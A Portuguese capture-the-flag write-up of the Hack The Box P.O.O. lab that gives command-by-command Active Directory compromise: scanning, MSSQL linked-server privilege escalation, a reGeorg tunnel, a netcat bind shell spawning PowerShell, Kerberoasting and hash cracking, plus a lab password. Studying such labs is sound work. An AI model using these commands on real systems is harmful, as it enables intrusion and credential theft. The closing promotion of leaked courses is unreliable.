Neste artigo, vamos explorar a execução não apenas de uma máquina, mas de um verdadeiro mini-laboratório. .
Como mencionado na descrição, o P.O.O. é destinado a testar habilidades em todas as fases de ataque em um pequeno ambiente Active Directory. O objetivo é comprometer o host acessível, elevar privilégios e, em última instância, comprometer todo o domínio, coletando 5 bandeiras no processo.
A conexão com o laboratório é feita através de VPN. Recomenda-se não conectar com o computador do trabalho ou com um host onde você tenha dados importantes, pois você entrará em uma rede privada com pessoas que têm alguma habilidade em segurança da informação 🙂
Informações organizacionais
Para que você possa se manter informado sobre novos artigos, software e outras informações, eu criei e na área de segurança da informação e gestão de riscos. Além disso, suas solicitações pessoais, perguntas, sugestões e recomendações .
Todas as informações estão apresentadas exclusivamente para fins educacionais. O autor deste documento não se responsabiliza por quaisquer danos causados a terceiros como resultado do uso dos conhecimentos e métodos obtidos através do estudo deste documento.
Introdução
Este endgame consiste em duas máquinas e contém 5 bandeiras.
Também é fornecida uma descrição e o endereço do host acessível.
Vamos começar!
Bandeira de Reconhecimento
Esta máquina tem o endereço IP 10.13.38.11, que vou adicionar ao /etc/hosts.
10.13.38.11 poo.htb
Primeiro, vamos escanear as portas abertas. Como escanear todas as portas com o nmap leva tempo, vou começar fazendo isso com o masscan. Estamos escaneando todas as portas TCP e UDP a partir da interface tun0 a uma taxa de 500 pacotes por segundo.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Agora, para obter informações mais detalhadas sobre os serviços que estão rodando nas portas, vamos executar uma varredura com a opção -A.
nmap -A poo.htb -p80,1433 
Assim, temos os serviços IIS e MSSQL. Ao mesmo tempo, descobrimos o nome real do DNS do domínio e do computador. No servidor web, somos recebidos pela página inicial do IIS.
Vamos examinar os diretórios. Para isso, utilizo o gobuster. Nos parâmetros, indico o número de threads 128 (-t), a URL (-u), o dicionário (-w) e as extensões que nos interessam (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
Assim, temos autenticação HTTP para o diretório /admin, além de um arquivo da pasta de trabalho .DS_Store. O .DS_Store é um arquivo que armazena configurações de usuário para a pasta, como a lista de arquivos, a localização dos ícones e a imagem de fundo escolhida. Esse arquivo pode ser encontrado no diretório do servidor web por desenvolvedores web. Assim, conseguimos informações sobre o conteúdo do diretório. Para isso, podemos usar .
python3 dsstore_crawler.py -i http://poo.htb/ 
Estamos obtendo o conteúdo do diretório. O mais interessante aqui é o diretório /dev, do qual podemos ver o código fonte e os arquivos db em duas seções. Mas podemos apenas ver os primeiros 6 caracteres dos nomes dos arquivos e diretórios, se o serviço for vulnerável ao IIS ShortName. Para verificar essa vulnerabilidade, podemos usar .
E encontramos um arquivo de texto que começa com "poo_co". Sem saber o que fazer em seguida, eu apenas escolhi do dicionário todos os diretórios começando com "co".
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtE vamos fazer uma varredura usando o wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
E encontramos a palavra certa! Observamos este arquivo e salvamos as credenciais (a julgar pelo parâmetro DBNAME, elas são do MSSQL).
Entregamos a bandeira e avançamos 20%.
Huh bandeira
Conectamos ao MSSQL, estou usando o DBeaver.
Não encontramos nada interessante neste banco de dados, vamos criar um Editor SQL e verificar quais usuários existem.
SELECT name FROM master..syslogins; 
Temos dois usuários. Vamos verificar quais são suas permissões.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Assim, não temos permissões. Vamos verificar os servidores relacionados, sobre essa metodologia eu escrevi em detalhes .
SELECT * FROM master..sysservers; 
Assim, encontramos outro SQL Server. Vamos verificar a execução de comandos nesse servidor usando openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
E podemos até construir uma árvore de consultas.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');O fato é que, quando fazemos uma solicitação ao servidor vinculado, a solicitação é executada no contexto de outro usuário! Vamos ver em qual contexto estamos trabalhando no servidor vinculado.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
Agora vamos ver em que contexto as consultas do servidor vinculado são realizadas para o nosso!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
Assim, este é o contexto DBO, que deve ter todas as permissões. Vamos verificar as permissões no caso da consulta a partir do servidor vinculado.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Como pode ser notado, temos todas as permissões! Vamos criar nosso próprio administrador. Mas através do openquery não é permitido, então vamos fazer isso através do EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";E agora vamos nos conectar com as credenciais do novo usuário, observando um novo banco de dados de flag.
Vamos entregar essa flag e seguir em frente.
BackTrack flag
Vamos obter um shell usando MSSQL, estou utilizando o mssqlclient do pacote impacket.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Precisamos obter senhas, e a primeira coisa que já encontramos foi o site. Portanto, precisamos da configuração do servidor web (não conseguimos lançar um shell conveniente, aparentemente há um firewall funcionando).
Mas o acesso é negado. Embora possamos ler um arquivo do MSSQL, só precisamos saber quais linguagens de programação estão configuradas. E na diretoria do MSSQL, descobrimos que Python está disponível.
Então, não haverá problemas para ler o arquivo web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
Com as credenciais encontradas, vamos para /admin e pegamos a flag.
Foothold flag
Na verdade, o uso de um firewall traz algumas inconveniências, mas ao revisar as configurações de rede, notamos que um proxy IPv6 também está sendo usado!
Vamos adicionar esse endereço em /etc/hosts.
dead:babe::1001 poo6.htb
Vamos escanear o host novamente, mas agora pelo protocolo IPv6.
E pelo IPv6, o serviço WinRM também está disponível. Vamos nos conectar com as credenciais encontradas.
Há uma bandeira na área de trabalho, vamos entregá-la.
Bandeira P00ned
Depois de fazer uma pesquisa no host usando não encontramos nada de especial. Então, decidimos procurar novamente por credenciais (sobre isso eu também escrevi ). Mas não consegui obter todos os SPNs do sistema via WinRM.
setspn.exe -T intranet.poo -Q *
* 
Vamos executar o comando via MSSQL.
Dessa forma, obtemos SPNs dos usuários p00_hr e p00_adm, o que significa que eles são vulneráveis a um ataque como o Kerberoasting. Em resumo, podemos obter os hashes de suas senhas.
Primeiro, precisamos obter um shell estável sob o nome do usuário MSSQL. Mas como temos restrições de acesso, estamos conectados ao host apenas através das portas 80 e 1433. No entanto, há uma possibilidade de tunnelização de tráfego pela porta 80! Para isso, usaremos . Vamos carregar o arquivo tunnel.aspx no diretório home do servidor web — C:inetpubwwwroot.
Mas ao tentar acessá-lo, recebemos um erro 404. Isso significa que os arquivos *.aspx não estão sendo executados. Para que os arquivos com essa extensão sejam executados, vamos instalar o ASP.NET 4.5 da seguinte forma.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
E agora, ao acessar o tunnel.aspx, recebemos uma resposta informando que tudo está pronto para ser utilizado.
Vamos iniciar a parte cliente do aplicativo, que será responsável pela retransmissão do tráfego. Vamos redirecionar todo o tráfego da porta 5432 para o servidor.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
E utilizamos proxychains para enviar o tráfego de qualquer aplicativo através do nosso proxy. Adicionamos este proxy ao arquivo de configuração /etc/proxychains.conf.
Agora, vamos carregar no servidor o programa , que nos permitirá fazer um shell bind estável, e o script , com o qual executaremos o ataque Kerberoasting.
Agora, através do MSSQL, vamos executar o listener.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
E nos conectamos através do nosso proxy.
proxychains rlwrap nc poo.htb 4321 
E vamos obter os hashes.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
A seguir, precisamos quebrar esses hashes. Como não havia essas senhas no dicionário rockyou, usei TODOS os dicionários de senhas fornecidos na Seclists. Para a quebra, utilizamos o hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceEncontramos ambas senhas, a primeira no dicionário dutch_passwordlist.txt e a segunda no Keyboard-Combinations.txt.
Assim, temos três usuários; vamos ao controlador de domínio. Primeiro, descobriremos seu endereço.
Ótimo, descobrimos o endereço IP do controlador de domínio. Vamos descobrir todos os usuários do domínio, bem como quem deles é administrador. Para isso, carregaremos o script PowerView.ps1 para obter informações. Depois, nos conectaremos usando evil-winrm, especificando no parâmetro -s o diretório do script. Em seguida, basta carregar o script PowerView.
Agora temos acesso a todas as suas funções. O usuário p00_adm parece ser privilegiado, então vamos trabalhar em seu contexto. Criaremos um objeto PSCredential para esse usuário.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassAgora todos os comandos do Powershell, onde especificarmos Creds, serão executados em nome de p00_adm. Vamos listar os usuários e o atributo AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
Assim, nosso usuário realmente possui privilégios. Vamos ver em quais grupos ele está.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Confirmamos que o usuário é um administrador do domínio. Isso lhe dá o direito de acesso remoto ao controlador de domínio. Vamos tentar entrar via WinRM, utilizando nosso túnel. Fiquei confuso com os erros gerados pelo reGeorg ao usar evil-winrm.
Então vamos usar outro método, mais simples, para nos conectar ao WinRM. Vamos abrir e alterar as configurações de conexão.
Tentamos nos conectar, e estamos dentro do sistema.
Mas o alvo não está. Então vamos olhar os usuários e verificar as áreas de trabalho.
No mr3ks encontramos o alvo e o laboratório foi concluído em 100%.
Isso é tudo. Como feedback, comente — você aprendeu algo novo com este artigo e foi útil para você?
Você pode se juntar a nós em . Lá você encontrará materiais interessantes, cursos vazados, assim como software. Vamos formar uma comunidade onde pessoas com conhecimentos diversos em TI possam sempre se ajudar em qualquer questão relacionada a TI e segurança da informação.
Fonte: habr.com
